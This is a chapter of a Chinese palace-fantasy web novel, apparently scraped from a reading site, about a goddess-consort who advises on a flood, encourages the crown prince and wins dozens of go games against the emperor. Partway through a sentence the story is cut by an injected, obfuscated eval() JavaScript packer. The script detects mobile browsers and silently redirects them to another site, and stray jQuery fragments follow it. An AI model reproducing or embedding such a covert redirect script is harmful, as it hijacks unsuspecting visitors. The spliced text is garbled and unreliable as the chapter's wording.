7. 不想当皇后的国师不是好弃妃(7)

作品:《老师,菜菜,捞捞[快穿]

    云长漪扔掉粗树枝,回到皇宫。


    刚到长春宫,养心殿的李保便过来亲自请了。


    他躬身讨好,比从前更甚得讨好:“贵妃娘娘,陛下与太子正在养心殿等您呢,您瞧着何时方便过去?”


    他生怕云长漪误会他催促,忙添上一句:“贵妃娘娘无须着急,陛下说了,您何时方便何时过去便是,他与太子候着您。”


    云长漪猜测是黄河决堤之事:“现在吧。”


    黄河九道堰口决堤,百万百姓遭受其害。


    她绝无道理置之不理。


    云长漪边走边感叹——她实在太伟大了!诸天神明她最厉害也就罢了,她还是最善良的那个!


    云团子化作手镯,挂在云长漪右手手腕,震了两下。


    它懵懵的——主人什么时候是诸天最厉害了?又什么时候最善良了?


    它仔细回忆——主人前段时间不是被她父神追着揍吗?边揍边骂她祸害主神,还骂她教出三个不靠谱的徒弟……


    云长漪为自己的“善良”感慨,步子越迈越大,步伐越来越快。


    以至于刚准备好轿辇的李保一抬头,发现人——不见了!


    李保急得团团转,问旁边的小太监:“云贵妃呢?人呢?”


    “回公公,云贵妃她……”小太监表情诡异又复杂,吞吞吐吐,“已经腿儿着走过去了。”


    李保恼羞:“追!追啊!怎么当奴才的!还能让主子长腿儿跑了?!”


    以至于——


    云长漪在前边哐哐走,李保和抬着轿辇的小太监们狂奔。


    但。


    追不上。


    云长漪闯入养心殿,李保还在半路大喘气。


    养心殿内,香炉袅袅檀香欢,但平昭帝与太子二人面容凝重阴沉,似是将怒之照。


    见云长漪进来,平昭帝径直朝她走过去,步步紧逼,似盯紧猎物的虎狼,想要将云长漪撕碎。


    云长漪怀疑他想和她干架,黑眸跃跃欲试,攥紧拳头准备进攻。


    “父皇,母、母妃。”秦承璋双眼刺痛,还未想明白其中道理,已然上前拦住对视的二人,他恭恭敬敬,好儿子一般,“眼下需静下心,为冀州百万百姓考虑,该如何度过难关。”


    平昭帝深深凝望秦承璋,目光移向云长漪,沉吟片刻:“云贵妃可有什么话想说?”


    “水势凶猛,禽兽一般,非常人可御。”云长漪见平昭帝不与她打架,收起了满身气势,建议道,“雀生不错,他可以。”


    秦承璋愕然抬首。


    他从没想过,她竟会如此偏向他。


    不加思考的偏向。


    她……为了什么?


    是相信他的能力,还是妄图拉拢他?稳坐后位?日后顺利当上太后?


    秦承璋心脏刺痛,他似乎不能忍受后者。


    他想,或许他太过缺少关爱,以至于妄图汲取这突如其来的陌生人的温暖……


    直到后来,他才明白,那是刻在骨子上、淌在血液里,哪怕记忆不在,本能也会先一步攥紧的东西——


    人们为它加冕一个浪漫的名字:爱情。


    秦承璋再度回过神,见平昭帝与云长漪一齐望着他,他蹙眉疑惑。


    平昭帝犹疑,指着秦承璋怒驳云长漪:“你看中他什么了?听你与朕说话也要走神,他怎么可能治理好水患?”


    云长漪黑脸,抡起拳头威胁:“你在质疑我?”


    平昭帝下意识缩脖子,意识到自己在做什么后,立马挺直腰板,仍指着秦承璋:“他这副德行,朕质疑怎么了?”


    “嘭!”


    云长漪二话不说,抡起拳头砸向平昭帝。


    秦承璋立于一旁,眸底闪烁出诡异晦暗的,死死盯着抱头鼠窜的平昭帝。


    凭什么!


    凭什么现在挨打的人不是他!


    凭什么!


    凭什么他们能这般亲昵无规矩!


    秦承璋猛地醒悟——他们是夫妻,他们帝王与贵妃,他们就应该亲昵!他们有资格亲昵!


    是他……他没有资格。


    他是被扔在冷宫自生自灭的不受宠皇子,若非皇帝无其他子嗣,这太子位轮不到他。


    他是皇帝无可奈何的选择;他还是云贵妃上位的筹码。


    他才是没有资格站在这养心殿,打扰二人亲昵的存在。


    他气息越发阴冷暴戾,他收敛着,一瞬间又恢复如无害模样。


    云长漪察觉到周围气息的不对劲,停下手去看呆呆立在殿内的少年。


    身量修长,容貌精致绝伦,太子蟒袍显他尊贵荣华,初见公子世无双端倪。


    她走向他,冷清面容硬邦邦,拍着他的肩膀,格外有分寸:“雀生,为娘相信你。”


    秦承璋薄唇轻抿,凤眸直视她一双冷清潋滟的桃花眼,想在她眼里寻找他想见的东西——利益、疏远、不屑。


    没有。


    什么都没有。


    只有如琉璃、如湖水似的冷清与纯澈,温和平静又包容。


    当真像个信任他的长辈啊。


    可是,她不是他亲娘。她只比他大一岁。


    “嗯。”


    他听到自己应了。


    他想,他为了自己的储君位置,向她低头了。


    云长漪见秦承璋应了,轻车熟路再拍他的肩膀,鼓励自己那群弟子似的鼓励他:“相信你自己,不要让为师、为娘失望,也不要让自己失望。”


    “那你恐怕要失望了。”平昭帝从旁边泼冷水,“他才做太子两日,怎会处理好?”


    云长漪抓起墨砚,朝平昭帝砸过去:“闭嘴!孩子都需要鼓励,一味打压只会适得其反。”


    平昭帝抚抚短须,挑剔摇头:“啧。”


    秦承璋面无表情,指尖掐进掌心,才能让他从“自己多余”的情绪中维持清醒。


    他想,若是他有了太子妃,对方也会……


    不。


    不会。


    前世他有太子妃,他毒死了许多太子妃。


    她们都是利欲熏心、胆小怯懦的女人。


    只有她,只有她会这般——无视君臣规矩,活得如此鲜活。


    秦承璋刚回过神,手中便套上一物。


    是一条红绳,上面系着平安扣。


    他见云长漪低着头,清泠如磬音:“平安绳,保平安,为娘等你平安归来。”


    “……嗯。”


    平昭帝朝秦承璋挥手:“行了,太子你回去吧,朕与你母妃还有要事相谈。”


    秦承璋不记得自己回答了什么,也不知道自己是怎么走出来的,再恍然回过神,已经到了东宫。


    小太监扶他下了轿辇:“太子殿下,当心路滑。”


    秦承璋拧眉,挥开小太监的手,大步流星往殿内走。


    刚走几步,便听到花坛草丛后传来不甚体面的哼唧声。


    他朝小太监递了一个眼神,小太监领着几个人围拢起花坛草丛。


    不一会儿,薅出两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239372|166243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个衣不蔽体的男女。


    面容普通的侍卫只着上衣,身下迎风空荡荡垂着;娇小俏丽的侍女通身无衣,身上红痕在惨白月色下刺目。


    二人跪爬在地,惶恐痛哭流涕,不停磕头求饶:“太子殿下饶命!饶命啊!”


    秦承璋知晓他们做了什么,兀的恶心反胃。


    脑海中竟浮现云长漪与平昭帝缠绵模样。


    他眼神暴戾,正欲脱口一个“杀”字时,又想起那张清丽的面孔。


    她喜欢良善之人。


    秦承璋通身烦躁,本能的狂虐戾气与理智在纠缠对抗。


    最终,他泄了气似的认输:“杖责三十,放了吧。”


    她,应该会满意吧。


    毕竟,他留下了他们的命。


    /


    养心殿内,平昭帝与云长漪对坐,一盘棋局横亘在二人之间。


    黑白棋子博弈对峙,斗转星移间局势扭转。


    变幻莫测。


    平昭帝与云长漪面色皆是认真,万不敢松懈半分。


    云长漪落下一枚黑子,棋盘上白子气数溃散不留一口。


    平昭帝:“?”


    他盯着棋盘上总共不到二十个棋子的棋局,陷入沉默。


    “再来!”


    二人收了棋子,再度开了一盘新棋。


    几息之后,云长漪下一黑子:“承让。”


    平昭帝不信邪:“再来!”


    又一局,云长漪赢得没有悬念。


    “再来!”


    又一局。


    “不行!再来!”


    又一局。


    “再来!再来!”


    ……


    ……


    几十盘棋局结束,云长漪杀得平昭帝片甲不留。


    平昭帝凝棋局良久,怅然大笑,起身拱手与云长漪作揖。


    “神女棋艺高超,朕自愧不如。”


    “你棋艺不错,进退有度,若是坚持,日后必出成绩。”


    云长漪当久了老师,对着一坨屎也能夸出花,眼下夸平昭帝,简直得心应手。


    平昭帝:“……”


    他是围棋对弈的老手,下了三十多年棋,哪里会看不出她的道行,哪里会认不清自己?


    他惊叹她的棋艺,更敬佩她的棋品。


    棋局一开,尊重对手乃第一要义。


    何为尊重对手?


    必是全力以赴,认真以对。


    他同不少大儒对弈过,其中不乏狂傲之辈。


    他们自恃棋艺高超,故而不会正视棋局,且满脸倨傲,无半分认真。


    从前他以为那是天才傲气,是应该的。


    如今,眼前神女棋艺绝世,每次落子神色尚且认真,赢棋也会鼓励对手。


    他终于认清,真棋品应当如此。


    云长漪赢了平昭帝几十盘,实在是没意思:“夜深了,我想回去。”


    “神女留步,还有一事。”平昭帝这才想起留云长漪下棋所为何事。


    输棋太多,以至于完全忘记了要事!


    “朕知神女为救苍生而来,想赠皇后之位以——”


    “不要。”云长漪冷目灼灼,“按照原本的交易,你应当封我为国师。我耐心有限,你最好尽快办到。”


    云长漪留下这句话,转身离开养心殿,没了踪影。


    平昭帝凝着她背影消失的方向,目光嗜夺低喃。


    “相比国师,朕的大乾更需要一位神女皇后稳民心啊……”